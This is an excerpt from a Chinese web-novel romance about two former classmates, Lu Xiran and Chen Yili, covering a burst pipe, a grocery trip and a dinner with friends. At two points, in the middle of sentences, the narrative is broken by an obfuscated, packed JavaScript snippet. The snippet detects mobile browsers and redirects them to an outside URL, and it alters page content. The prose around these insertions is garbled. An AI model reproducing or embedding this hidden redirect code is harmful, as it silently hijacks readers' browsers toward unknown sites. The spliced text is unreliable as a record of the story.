他一改往常说了很多,说他有笔钱会留给他弟弟,说要他弟弟照顾好瘫痪在床的父亲,说自己如果死了应该还会有一笔钱捐给救援队,让队长省着点花。 说到最后,他听见那边救援队队长张明生直接破口大骂的声音。 那人骂他傻.逼,让他闭嘴省点力气,别瞎.逼.逼。 那时路熙然拿着无线电想跟那人说一句没什么,他想说人都是要死的。 可偏偏他一句话都说不出来,他听着那边张明生的唾弃觉得胸闷又觉得可悲。他开始用力的推那块压在自己腿上的石块,哪怕指腹被石头边缘划伤。 再然后……再然后,他莫名其妙想到了谌一礼。 他在想自己的死讯如果传到那人耳朵里,对方会怎样,是不是只会唏嘘几句,又或者像无数次他听闻别人逝世时一样,不过感慨两声。 他会为他难过吗?哪怕只有一点点? 路熙然躺在那里,看着很远处只能隐约窥探到一点光亮的缝隙,感受死亡的侵袭。 在那一瞬,他感受到了自己的不甘和怨怼。不甘于过去,怨怼于自己,十八岁时做出的决定,在几年后的那天,如一阵飓风侵袭了他的思绪。 他想到十六七岁谌一礼冲着他的笑,想到高考放假前几天,自己跨越半个校园塞到那人手里的纸条,又想到那年元旦聚餐时,谌一礼看着他欲言又止的眼睛。 可在这之前,他其实很少会想起谌一礼了。他太忙了,忙着赚钱,忙着给他爸缴费,还忙着要空出时间给他弟去开家长会。 他用繁重的事务堆积着自己的生活,哪怕是午夜梦回,他一次都不曾想起过谌一礼。可这次不一样,这次,他可能会死。 也是在死亡来临的前奏奏响之前,他那瑟缩着的心跳在告诉他,他很想他。 - “纹好了,纹身处不要沾水,看你恢复情况再看要不要补色。”路熙然收了纹身笔,用保鲜膜给许毅把那处腰处包起来,“两个小时后可以摘下来,最近三天可能有组织液流出,都是正常现象,恢复期内不要抽烟喝酒,也别吃辛辣、发物这类。” 路熙然简单交代着,又给许毅拿了一瓶蓝藻告诉他使用方法。 “有镜子吗?我想看看纹得怎么样。”许毅说。 路熙然给他拿了镜子过来递给他,许毅看到的第一眼就夸了一句牛逼,乐呵呵地付了钱,又说之后再联系。 “可能过段时间我会出去爬山,你到时候有时间吗?”许毅在走之前站在门口处问,他其实还有一句后话,但没说。 他想路熙然是个聪明人,应该明白自己的意思,他毕竟也要还路熙然的人情。 果然路熙然回头看向他。那人关窗户的手顿了顿,应了声,“你提前三天跟我说,我去的。” - 许毅的纹身纹完了,本来说抽时间给谌一礼看看,但后者实在太忙。家里的酒店企业要走下沉市场,楚城这边谌一礼手下好几家亲民平价的民宿酒店即将开业,宣传推广跟第三方对接,跑得谌一礼焦头烂额。 他不仅没多少时间再同许毅见面,哪怕是回家跟老爷子吃顿饭的时间都没有。 一连小半个月,睡觉都睡得囫囵觉。还是今天快到下班点接到老爷子电话,才紧赶慢赶回去了一趟。 起因是老爷子家里水管爆了,要人来修。老人家一个人住习惯了,身边也没个人帮衬,不知道怎么处理。 “你哥跟你嫂子最近都出国了,我也不知道该找谁。”老爷子电话里是这么说的,可那时谌一礼忙着开会,远水救不了近火,只能让老爷子想办法联系物业,等开完会才到。 老爷子住的是原来谌一礼父母住的那间房子,小两百平。父亲谌京华跟母亲徐嘉走得都早,这间房子在谌一礼跟他哥谌岁陆续上大学后,一度空了很长时间,还是后来老爷子搬来,才多了几分人气。 谌一礼轻车熟路进了门,只是鞋还没来得及换,就听到客厅里传来的动静。 是两个人在说话的声音,两个声音谌一礼都很熟。 一个是他家老爷子谌大方,一个是路熙然, “我给物业打电话,电话打不通,我也不知道怎么办,就联系小路了。”老爷子看见进门的谌一礼说,“人家手脚麻利,一下修好了,连地都拖了。” 谌一礼闻言没说话,他站在原地,目光看着路熙然身上的那套衣服。 “他修水管的时候衣服湿了,我让他换的你的。”老爷子又解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189033|197039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释。 谌一礼没说什么,他对坐在那的路熙然笑着说了句谢谢,转身去厨房看了看水管爆裂的位置。 “洗菜池下面的软管用太久裂了,换了就行。”路熙然不知道什么时候跟了过来,站在他身后告诉他。 “麻烦你了,软管是你买的?多少钱,我转你。”谌一礼说。 “不用,爷爷给过了。” 两人之间话刚说到这儿,就听客厅里老爷子在喊,说茶沏好了,让路熙然过去再喝一杯。 那两人坐在一起好像什么都能聊。要么说说菜市场的菜价,要不然就是最近的几个新闻,还有就是上次的相亲。 “我听一礼说,你们两个没看对眼?”老爷子出声问路熙然,眼神朝着谌一礼瞥去,“你瞧不上他啊?” 路熙然闻言,目光看向坐在自己身边举着茶杯淡定自若的谌一礼,回道:“不是,不是我瞧不上他。” “那就是他瞧不上你?” “也不是……就是,我跟他没什么缘分,不合适。” “哪不合适?”老爷子追根问底。 “……工作,性格,”路熙然笑着说,“很多地方……” “谌大方,你降压药吃了吗?冰箱里还有没有菜,没有的话,我出去买。”谌一礼起身打断那两人的交谈,在问过老爷子后,目光转向坐在一边的路熙然,“你呢?要是没事的话,下楼一起陪我去买点菜。” 路熙然骤然被点名,愣了一瞬,但很快反应过来,接话道:“我陪你一起。” 玄关门打开后又关上,一梯一户的格局,出去就是电梯。 电梯里很安静,路熙然手里拿着手机在给别人回消息。 谌一礼站在他身边,隔着电梯里的镜面反光,他看了一眼路熙然飞快在手机屏幕上回复别人消息的手指动作,跟他说:“你如果有事就先走。” 路熙然没太听清,“嗯?” “你忙的话就先走,我一会儿自己买了菜上去。” 谌一礼说话的声音很淡,他看着已然重新打开,抵达了一楼的电梯门,抬脚跨了出去。 可路熙然没动,仍旧站在里面。 他不知道谌一礼那句话是就事论事的客套,还是不动声色的驱赶。 他们之间说话,太拐弯抹角,太张弛有度。他害怕谌一礼拒绝他,更害怕那人根本不给自己挑明心意的机会。 路熙然想到这儿,不由地握紧了手里的手机,斟酌着回了他一句。 他说:“谌一礼,我一会儿没什么事……但我今天过来,是真想过来帮忙的。” 他话说到这里敛了下眸子,又接着问他:“我能晚上留在这儿吃顿饭吗?” 9. 超市 电梯门还开着,头顶暖黄色调的灯光照亮了路熙然小半张脸。他身上还穿着谌一礼的衣服,那是件卫衣,黑色的,大学买的时候买大了,穿了几次就压了箱底。 如今这套衣服穿在路熙然身上倒是刚好,让那人看着像个刚毕业的大学生。 而那双眸子现如今朝着自己看过来,倒显得他有点在欺负人。 “你今天是推了工作来的?”谌一礼问他。 路熙然没回,他站在原地,指腹摩挲着手机壳。他确实推了个单子,在谌爷爷挂断电话后的下一秒,他就把本来自己手上的一个客户塞给了骆环。 他想把握一次机会,无论这次机会好还是不好。 只是他话还没来得及说,电梯门就要关上了。 而就在这时,站在外面的谌一礼伸手拦住了即将阖上的门沿。他冲着里面的路熙然笑了笑,开口道:“出来吧,先陪我去买菜,今天是该谢谢你的。” 离得不远就有一家大型购物超市,谌一礼进去推着推车开始采买。他挑了些果蔬和生鲜,偶尔侧过身问问路熙然有没有什么想吃的。 “我跟我哥工作都忙,有时候对老爷子照顾不到位。本来是说给他请个保姆,但他不喜欢,说不要。”谌一礼说到这里,往推车里扔了几个西红柿,他像是终于意识到自己刚刚的冷脸对路熙然造成的影响,又解释了一句,“所以今天是真的想谢谢你,把你叫出来是因为老爷子问东问西,你解释不清,他就会一直问,不是赶你,也不是客套话。” 谌一礼把话挑明,一码归一码,他不至于因为过去的不合否定眼下路熙然的好意。 “你吃什么?我买点基围虾,再烧只鸡?”谌一礼走到海产类的售卖点前问,见路熙然没反对称了点虾。 “你什么时候会做饭的?”路熙然看着对方的采买动作问他。 “在国外的时候,”谌一礼说,“漂亮国那边卖的快餐,味道实在不行,我刚去坚持了半个月,实在坚持不下去了。” 他说到这儿,好像想起了什么,“我记得有天晚上,是要赶课题汇报,还是赶什么小组作业,熬了个通宵,三更半夜饿得不行,感觉自己能吃下一头牛,结果翻箱倒柜只翻出一包前不久冲泡面没用完的调料包,结果我拿开水刚冲到一半,许毅从他房间里爬出来,非骂我吃独食,跟我抢那小半杯水。” “你给他了?” “没,一口没给他剩。”谌一礼说到这里接着笑,“被他骂了小半个月的没良心。” 他说的简单,三言两语概括了自己在国外的“落魄”生活。 “这么一比,还是国内好吧。”路熙然接过他的话题。 “是啊,”谌一礼回答,他笑着调转了推车方向去买了一只鸡,说,“后来我回国当天,到家放下行李就跑我们高中旁边的那家炸鸡店点了三份鸡排,一个人坐在店门口吃完了,把那老板惊得活像我是从饿牢里放出来的鬼。” “还是那个老板?” “还是那个,”谌一礼说,“我去的时候,他连我想点什么味道都还记得。” 路熙然跟着他弯了弯嘴角。谌一礼这人当初高中吃鸡排是全校独一份。 调味料要得最多,香辣、甘梅加番茄酱,甜辣党的忠实用户,这么些年一直没变过。 两人絮絮叨叨说着话,话题一直围绕着谌一礼在走,路熙然跟在他旁边偶尔帮他挑一挑果蔬,双方默契的把看中的东西扔进购物车里,又推着车前往下一个“目的地”。 这种氛围微妙中带着一点点容易让人恍惚的错觉。 错觉到这让路熙然觉得,这不过是他跟谌一礼之间最日常最平凡的片刻。 他可以偶尔跟这人逛逛超市,每天说些无意义的废话,然后再相互在彼此的瞳孔中,看到自己。 “谌一礼。”路熙然开口叫住他,他的脚步加快了些,跟谌一礼并肩而立。 谌一礼手里拿着一盒蓝莓回头看他,递给了路熙然一个眼神。 这眼神,路熙然太熟悉,这是高中上课,谌一礼打瞌睡后被叫醒的眼神,眉眼懒散中带着点莫名的茫然,眼尾懒恹恹的下垂,有种“有事说事无事退朝”的冷然感。 可这些话,路熙然一句都不会说,他只冲着谌一礼笑了笑,接过了他旁边的推车,“没什么,就是叫叫你。” 两人多买了几天做饭要用的食材,提着大包小包的走了。 出超市时,天空已经开始被墨汁侵染,遥远的边界线上已然寻不到太阳的影子。 “走吧,早点回去做饭。”谌一礼说。 路熙然微微颔首,自然而然接过了他手中的一个购物袋,“我感觉也没买多少,怎么这么重。” “这还没买多少?光鸡鸭就各买了一只,我还买了些牛肉,晚些日子让老爷子卤了,他手艺好,我可以过来蹭点。” “那我也来蹭点。” 路熙然这话说得太快,说词也没过脑子。等说完,他愣了,谌一礼也是。 我也来蹭点。以什么身份来蹭? 相亲对象? 追求者? 还是朋友? 好像都可以,却又好像都不合适。可谌一礼毕竟是个圆滑的,这么些年过去,他如果不想让人话掉地上,永远能很快的接上。 他说:“那行啊,到时候弄好了,让老爷子联系你,你来拿。” 是老爷子联系,不是他联系。 是路熙然来拿,不是他送给他。 几句话的太极说得太漂亮,一瞬间拉近的距离,在猝然间又远了。 对此,路熙然敛下眉眼,笑了笑,还没来得及接话,就见有位阿姨过来递给他们一份传单,“我们前面那家川菜馆开业,双人套餐九折优惠。” 路熙然接过传单,回头又看了谌一礼一眼。 而阿姨倒是不知道看出了什么,又补了一句,“情侣八折,想去的话月底之前记得去。” “我们不是那种关系。”谌一礼谢过阿姨的好意,转手将那份传单接过,随意塞进了购物袋里。 没人再提起卤牛肉,也没人回答来还是不来。重新步入电梯回到屋里时 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“这个你没看上的话,我再跟你介绍。前不久我老同学的孙子回国,你去见见。” 谌一礼没理。 “那我舞伴的外孙你觉得怎么样?我那舞伴你见过的,挺漂亮,她外孙应该长得也不差。” 谌一礼没回。 “你要是这样,要不,就小路算了,不折腾了?”老爷子一边观察他的表情,一边在谌一礼提回来的购物袋里翻翻捡捡。 他把那川菜馆开业的传单随手放在了茶几上,又把塞在下面的牛肉拿出来,“这牛肉不错,我到时候卤一点,你给小路拿过去。” 谌一礼沉默了会儿,眼神看向那张传单,“你自己给他打电话,他会来拿。” “他那是真想来拿,还是想见你,你自己心里清楚。” 他老人家今年哪怕快八十了,但不是睁眼瞎。到底是真没看对眼,还是谁瞧不上谁,他看得出来。 他跟人路熙然非亲非故,不至于他一通电话过去,那人就着急忙慌跑过来给他修水管。 “人一个人照顾他爸,送他弟念大学,前几年还完家里的债,又攒了一笔钱,有责任心,担当也不错,能抗事也不怕事,这样的,你为什么瞧不上?” 老爷子一长串的质问下来,说话中间恨不得连个气口都没有。 可谌一礼根本没把他的话放心上,这些内容别说老爷子,就是徐凯锐、汪淼都跟他说过很多,谌一礼不在乎,也不想在乎。 他早就清楚路熙然是什么样的人,但正是因为知道,他才过不了过去的那道坎。 一朝被蛇咬十年怕井绳。过去的那十年间隔太久了,哪怕语言还熟悉,氛围还存在,却总归还是抵挡不住将近三千多次的日月变化和一直深埋在心底的怨怼和不甘。 “老爷子,别说了,”谌一礼打断了老爷子的数落,他走到阳台边,看着楼下花坛边站在路灯下抽烟的那抹人影,淡淡道,“可能我跟他就是没什么缘分而已。” 10. 朋友 但无论他跟路熙然之间有没有缘分。 老爷子过几天在家里,到底还是把牛肉卤了。他给谌一礼打电话,要人去拿,同时也冲路熙然招呼了一声。 只是后者来了,前者没有。 路熙然上门时,手里拿着些糕点,还有上次他穿走的谌一礼的衣服。 他是会做人的,上次太匆忙过来,这次再怎么也没有空手上门的道理。只可惜,谌一礼不在,他没见不到人。 但该有的礼数他都有,陪着老爷子喝茶,逛花鸟市场,直到快到饭点前才离开。老爷子本想留他吃饭,但路熙然笑了笑,说自己有事要忙。 “人多好一孩子,比你讲良心。”老爷子在晚上打电话跟谌一礼抱怨,他这话说的也是气话,气谌一礼今天不回来,为了躲路熙然,连卤好的牛肉都不拿走。 谌一礼听着他的说辞,手里还在看报表。最近他握着的那几家民宿开业在即,他确实没时间,只能让赵晓云买了些东西回去哄老爷子高兴,末了又跟老爷子讨饶。 “我是真忙。” 他话说的不假,这一忙就忙了近一个月。那一个月谌一礼活得跟打仗一样,天天不是泡在民宿酒店,就是呆在办公室看报表,等再忙完,已经快初夏了。 他实在想歇着喘口气,毕竟不是专业学管理出身,这几个月忙下来已经要了他半条命。等民宿收支稳定后,他说什么都不想再管。 “我就做基础营销就行,太累了,”谌一礼在跟他哥谌岁的电话里说,“我适合躺平,不适合做牛马苦力。” 谌岁听着他的话笑,“那开业的几家店呢?也不管了?” 谌一礼:“你管吧,我累了。” “舍得啊?” “舍得啊,有什么舍不得,”谌一礼笑着,他说到这里打趣,“哥,我一是同性恋,二对钱权没什么兴趣,反正等我跟你百年之后入土,一切都是谌桐的,你试探我,怕我分你财产啊。” “操,”谌岁被他这话逗笑了,接他的梗,“被你看透了,那你快点找个男朋友,给我滚蛋吧。” 他们兄弟两隔着电话演上了,坐在一边的嫂子夏敏珏看不过眼,抬手在谌岁脑袋上拍了一下,要他正经点,末了又接过他手里的电话,招呼着让谌一礼有时间到家里吃饭。 夏敏珏:“谌桐最近有点欠收拾了,你有时间来治治。” 谌一礼低声应下说好,又跟他哥贫了几句嘴后挂了电话。可哪怕方才被谌一礼插科打诨过去,谌岁也还是不放心,发了消息过来问一句。 [哥:说真的,真不想管了?] [谌一礼:太累了,大半个月没睡一个好觉了,我想躺平。] [哥:……] [哥:行,随你。] [哥:反正家里少不你吃的。] [谌一礼:谢主隆恩。] 谌一礼看着聊天界面失笑,他跟他哥贫习惯了,况且那么大一摊子,哪怕知道经济效益不错,他也不想接。 他一向不会亏待自己,懂得取舍。 工作能带给他的成就感在民宿开业时已经差不多了,除了本职工作外,更多的事他没兴趣,也不想做。 当然主要还是懒。 就这样,谌一礼又转手把工作大梁扔给了他哥,终于在一个周末能够放任自己躺平几天。 徐凯锐约他吃饭也恰好是在周末上午,主要是还人情,感谢谌一礼给他预订好的婚宴酒店打折。 来的人不多,徐凯锐带了他的爱人,顺带喊上了汪淼和路熙然。 他做东,自然想请谁都行。对于吃饭要来的人谌一礼没多说什么,该领的情他领,该给的面子他也给。 只是那天他去的晚,等他到时大家都已经落了座。 都是朋友,不讲究商业场上那套主位客位的理论。一共也就五个人吃饭,没那么多规矩。 谌一礼进去时,脸上是笑着的,他嘴上说着来晚了,点没点菜,然后径直坐在了汪淼旁边。 他跟路熙然之间隔了整整三个人,大半边的圆桌。 徐凯锐素来会察言观色,他什么都不说也不问,只递给了路熙然一个眼神后,自然而然接了谌一礼的话。 “你都没来点什么菜啊,”徐凯锐笑他,一边说一边把扫码了的手机递给他,不经意像是开玩笑地问他一句,“谌总要不要上座啊?” “别了,”谌一礼摇摇头,没接他的手机,“随便点几个菜就行,我说着玩的,你还当真了。” “真说着玩还是假说着玩?”徐凯锐递手机的手没动。 谌一礼拍了下他的手,“得了啊,别这死德性,以后小心你孩子满月酒没折扣了。” 话说到这儿,场子也该收了。徐凯锐不再推辞,开始点菜。他经常吃这家,问了在座的有没有忌口后,很快把菜安排好了。 而在开饭前,徐凯锐介绍了一下自己的爱人罗青玉。他跟对方是在大学校庆上认识的,彼此合适就走到了一起。汪淼爱听八卦也爱讲八卦,这些年他跟徐凯锐关系亲近,倒出来了那人不少的恋爱轶事,听得谌一礼直笑,不时跟着捧几句场。 至于罗青玉,那是个豪爽姑娘,她是内蒙人,喜欢喝酒,也爱喝。她知道这些人跟徐凯锐的关系,也放得开,在酒桌上陪着喝一点,也聊天问一些问题。 只是她话说的不巧,“尽说我家徐凯锐了,你们怎么不聊聊你们感情史?” 汪淼听她这话,很快接茬,“路熙然那就是个万年单身汉,我女朋友不是在外地吗?你也见过,就是班长……这些年也没怎么联系,你没动静啊?” 他喜欢打听,自然也不放过机会。眼神直接往谌一礼那看,连带着其余的三双眼睛都望了过来。 “班长,说说呗?”汪淼看着他挑眉,“讲讲?” “想听啊?”谌一礼问。 “想听。”汪淼点头。 “那我讲讲。”谌一礼说着,放下了筷。他一副要高谈阔论的样子,让汪淼都竖起了耳朵,结果谌一礼草草几句话就打发了他。 “我就在国外读书的时候谈过一个,不合适,然后分了。” “就这?”汪淼大失所望。 “就这。”谌一礼回。 “你说详细点啊,”汪淼白了他一眼,“说说怎么在一起的,怎么不合适,又怎么分的。” “就性格、习惯,”谌一礼敷衍他,“外国人,跟我过不到一起去。” “还是外国人?”汪淼惊讶道,“漂亮吗?我听说美国白人都看不上亚裔,真的假的?” 谌一礼说:“他还好,他是瑞士的。” “同学?” “不是,他年纪比我小。” “哇——” “咔哒——”一声响起,骤然间吸引了汪淼的注意力。 半弯着腰的路熙然从桌子下抬起身,他抱歉地摆了摆手,说:“不好意思,筷子掉了,我出去再要一双。” 话说完,没等众人反应他便走了出去。 汪淼是个笨的,没在意,继续拉着谌一礼问,谌一礼的目光却看着那扇重新阖上了的包厢门,摆了摆手,说:“换个话题吧,不说了。” 包厢里的声音被隔绝,路熙然找到服务员重新拿了双筷子,却没有着急进去。他站在吸烟区里,给自己点了根烟。 说不上来什么感觉,就是心情挺奇怪的。闷得慌。 “躲这儿抽烟呢?不进去了?”徐凯锐出来找他,见路熙然呆在这儿,问道。 “抽完就进去。”路熙然说。 徐凯锐闻言没说话,拍了拍他的肩,意思不言而喻。 路熙然笑了下,他敛眸看着手里燃了半截的烟,问他:“里面还聊感情史呢?” “嗯,”徐凯锐回,“不过没聊班长的,现在是汪淼在说。” “行。”路熙然弹了弹烟灰,把没抽完的烟掐灭了,“走吧。” 包厢里,氛围跟路熙然离开前没两样。汪淼会活跃气氛,谌一礼会捧场,罗青玉也是个喜欢聊天的,说话声在徐凯锐他们进来时停都没停一下。 路熙然用那双新拿来的筷子吃饭,不着痕迹地加入了他们的话题。但他身上始终萦绕着一股淡淡的烟味,像是一种愁苦般,挥之不去。 这一顿饭吃得不快,大家絮絮叨叨聊天说了很久。散场时几乎都喝了酒,本来说着约第二趴,但谌一礼有事,说算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哪怕话说出口时,路熙然就知道不对,可他嘴就是永远比脑子快。有些情绪蔓延得像是即将要爆掉的氢气球,塑料膜在下一瞬几乎就要裂开。 可出乎他意料的,谌一礼放下了手里的手机看向他。他没回答他的问题,也没接受他的解释,他只问他;“路熙然,今天你其实是自己开车来的吧?” 路熙然愣了瞬,没回答。 谌一礼好像也不在意他的回答。 他说:“其实是或者不是都行,我不在意你的车在不在吃饭那边的停车场。所以相对的,我去机场到底是接谁,我也没理由跟你说明。前男友也好,朋友也好,路熙然,我们两这样的关系,有什么好说的呢?” “没必要。” 最后三个字,轻飘飘的,却像是一把刀,把一切都割裂了。 冗长的话语,轻描淡写的语气,带着几分笑的表情,谌一礼像是把一切都摊在了路熙然面前,杜绝了他的全部路数。 他很平淡,很成熟,点到为止,看破不说破。他没想跟路熙然往后发展什么,了不起是以后聚会时会见的人,会在聊天中谈论的朋友。 仅此而已。 他和路熙然不合适,他自认为自己拒绝得也很明显。 毕竟不是十七八岁了,不会直白地去说一句我不喜欢你。迂回婉转,顾左右而言他,是成年人的必修课。 可路熙然好像根本没学会。 他看着自己面前的谌一礼,问他:“谌一礼,如果我觉得有必要呢?” 谌一礼没说话。 路熙然:“如果此时此刻,我跟你的心情压根不对等,我该怎么办?” 他把问题重新抛了回来,等待一个答案,追求一个结果。放在他口袋里的车钥匙,几乎被他捏得嵌进了手心里。 可谌一礼看着他,又再度不着痕迹地将问题重新换了个说法。 那人问他,他说:“那要看你想怎么选了,路熙然。” 他说:“路熙然,你愿意跟我只做普通朋友吗?”